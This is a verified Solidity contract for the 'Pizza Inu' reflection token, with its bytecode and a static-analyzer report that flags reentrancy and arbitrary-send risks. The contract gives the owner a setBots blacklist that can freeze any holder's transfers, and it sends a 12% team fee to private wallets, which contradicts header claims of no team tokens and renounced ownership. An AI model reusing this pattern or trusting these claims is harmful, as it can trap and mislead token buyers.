/** *Submitted for verification at Etherscan.io on 2021-07-10 */ /* ╔═══╗ ╔══╗ ║╔═╗║ YUM! ╚╣╠╝ ║╚═╝╠╦═══╦═══╦══╗║║╔═╗╔╗╔╗ ║╔══╬╬══║╠══║║╔╗║║║║╔╗╣║║║ ║║ ║║══╣║══╣╔╗╠╣╠╣║║║╚╝║║ ╚╝ ╚╩═══╩═══╩╝╚╩══╩╝╚╩══╝ TG: t.me/PizzaInu ✔️ No pre-sale ✔️ No team & marketing tokens ✔️ Locked Liquidity ✔️ Renounced ownership ✔️ Reflection rewards to holders & team ✔️ 1,000,000,000,000 Total Supply ✔️ 50% Burn */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PIZZA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Pizza Inu - t.me/PizzaInu"; string private constant _symbol = 'PIZZA'; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 12; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561084c565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610860945050505050565b34801561047e57600080fd5b5061028d610914565b34801561049357600080fd5b5061028d610951565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d38565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e3d565b60408051808201909152601981527f50697a7a6120496e75202d20742e6d652f50697a7a61496e7500000000000000602082015290565b600061054c610545610e68565b8484610e6c565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f58565b6105e08461057c610e68565b6105db85604051806060016040528060288152602001611fcf602891396001600160a01b038a166000908152600460205260408120906105ba610e68565b6001600160a01b03168152602081019190915260400160002054919061132e565b610e6c565b5060019392505050565b6105f2610e68565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e68565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e68565b6001600160a01b03161461070557600080fd5b4761070f816113c5565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b0382166000908152600260205260409020546107749061144a565b90505b919050565b610784610e68565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600581526450495a5a4160d81b602082015290565b600061054c610859610e68565b8484610f58565b610868610e68565b6000546001600160a01b039081169116146108b8576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b60005b8151811015610910576001600760008484815181106108d657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108bb565b5050565b6010546001600160a01b0316610928610e68565b6001600160a01b03161461093b57600080fd5b600061094630610712565b905061070f816114aa565b610959610e68565b6000546001600160a01b039081169116146109a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a08576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a519030906001600160a01b0316683635c9adc5dea00000610e6c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d6020811015610ab457600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0457600080fd5b505afa158015610b18573d6000803e3d6000fd5b505050506040513d6020811015610b2e57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8057600080fd5b505af1158015610b94573d6000803e3d6000fd5b505050506040513d6020811015610baa57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bdc81610712565b600080610be761081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5257600080fd5b505af1158015610c66573d6000803e3d6000fd5b50505050506040513d6060811015610c7d57600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0957600080fd5b505af1158015610d1d573d6000803e3d6000fd5b505050506040513d6020811015610d3357600080fd5b505050565b610d40610e68565b6000546001600160a01b03908116911614610d90576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b60008111610de5576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e036064610dfd683635c9adc5dea0000084611678565b906116d1565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eb15760405162461bcd60e51b81526004018080602001828103825260248152602001806120656024913960400191505060405180910390fd5b6001600160a01b038216610ef65760405162461bcd60e51b8152600401808060200182810382526022815260200180611f8c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f9d5760405162461bcd60e51b81526004018080602001828103825260258152602001806120406025913960400191505060405180910390fd5b6001600160a01b038216610fe25760405162461bcd60e51b8152600401808060200182810382526023815260200180611f3f6023913960400191505060405180910390fd5b600081116110215760405162461bcd60e51b81526004018080602001828103825260298152602001806120176029913960400191505060405180910390fd5b61102961081e565b6001600160a01b0316836001600160a01b031614158015611063575061104d61081e565b6001600160a01b0316826001600160a01b031614155b156112d157601354600160b81b900460ff161561115d576001600160a01b038316301480159061109c57506001600160a01b0382163014155b80156110b657506012546001600160a01b03848116911614155b80156110d057506012546001600160a01b03838116911614155b1561115d576012546001600160a01b03166110e9610e68565b6001600160a01b0316148061111857506013546001600160a01b031661110d610e68565b6001600160a01b0316145b61115d576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116c57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111ae57506001600160a01b03821660009081526007602052604090205460ff16155b6111b757600080fd5b6013546001600160a01b0384811691161480156111e257506012546001600160a01b03838116911614155b801561120757506001600160a01b03821660009081526005602052604090205460ff16155b801561121c5750601354600160b81b900460ff165b15611264576001600160a01b038216600090815260086020526040902054421161124557600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126f30610712565b601354909150600160a81b900460ff1615801561129a57506013546001600160a01b03858116911614155b80156112af5750601354600160b01b900460ff165b156112cf576112bd816114aa565b4780156112cd576112cd476113c5565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061131357506001600160a01b03831660009081526005602052604090205460ff165b1561131c575060005b61132884848484611713565b50505050565b600081848411156113bd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138257818101518382015260200161136a565b50505050905090810190601f1680156113af5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113df8360026116d1565b6040518115909202916000818181858888f19350505050158015611407573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114228360026116d1565b6040518115909202916000818181858888f19350505050158015610910573d6000803e3d6000fd5b6000600a5482111561148d5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f62602a913960400191505060405180910390fd5b600061149761182f565b90506114a383826116d1565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114eb57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153f57600080fd5b505afa158015611553573d6000803e3d6000fd5b505050506040513d602081101561156957600080fd5b505181518290600190811061157a57fe5b6001600160a01b0392831660209182029290920101526012546115a09130911684610e6c565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561162657818101518382015260200161160e565b505050509050019650505050505050600060405180830381600087803b15801561164f57600080fd5b505af1158015611663573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168757506000610550565b8282028284828161169457fe5b04146114a35760405162461bcd60e51b8152600401808060200182810382526021815260200180611fae6021913960400191505060405180910390fd5b60006114a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611852565b80611720576117206118b7565b6001600160a01b03841660009081526006602052604090205460ff16801561176157506001600160a01b03831660009081526006602052604090205460ff16155b15611776576117718484846118e9565b611822565b6001600160a01b03841660009081526006602052604090205460ff161580156117b757506001600160a01b03831660009081526006602052604090205460ff165b156117c757611771848484611a0d565b6001600160a01b03841660009081526006602052604090205460ff16801561180757506001600160a01b03831660009081526006602052604090205460ff165b1561181757611771848484611ab6565b611822848484611b29565b8061132857611328611b6d565b600080600061183c611b7b565b909250905061184b82826116d1565b9250505090565b600081836118a15760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561138257818101518382015260200161136a565b5060008385816118ad57fe5b0495945050505050565b600c541580156118c75750600d54155b156118d1576118e7565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118fb87611cfa565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061192d9088611d57565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461195c9087611d57565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461198b9086611d99565b6001600160a01b0389166000908152600260205260409020556119ad81611df3565b6119b78483611e7b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1f87611cfa565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a519087611d57565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a879084611d99565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461198b9086611d99565b600080600080600080611ac887611cfa565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611afa9088611d57565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a519087611d57565b600080600080600080611b3b87611cfa565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061195c9087611d57565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cba57826002600060098481548110611bab57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c105750816003600060098481548110611be957fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2e57600a54683635c9adc5dea0000094509450505050611cf6565b611c6e6002600060098481548110611c4257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d57565b9250611cb06003600060098481548110611c8457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d57565b9150600101611b8f565b50600a54611cd190683635c9adc5dea000006116d1565b821015611cf057600a54683635c9adc5dea00000935093505050611cf6565b90925090505b9091565b6000806000806000806000806000611d178a600c54600d54611e9f565b9250925092506000611d2761182f565b90506000806000611d3a8e878787611eee565b919e509c509a509598509396509194505050505091939550919395565b60006114a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061132e565b6000828201838110156114a3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dfd61182f565b90506000611e0b8383611678565b30600090815260026020526040902054909150611e289082611d99565b3060009081526002602090815260408083209390935560069052205460ff1615610d335730600090815260036020526040902054611e669084611d99565b30600090815260036020526040902055505050565b600a54611e889083611d57565b600a55600b54611e989082611d99565b600b555050565b6000808080611eb36064610dfd8989611678565b90506000611ec66064610dfd8a89611678565b90506000611ede82611ed88b86611d57565b90611d57565b9992985090965090945050505050565b6000808080611efd8886611678565b90506000611f0b8887611678565b90506000611f198888611678565b90506000611f2b82611ed88686611d57565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220caf983aa5106d9bc803dcdc73e954f330303486c9599905f487b7a048050ea1e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,558
0xe3cd8fb8d02ce38a8b8daae98fe25d7558d8ca0b
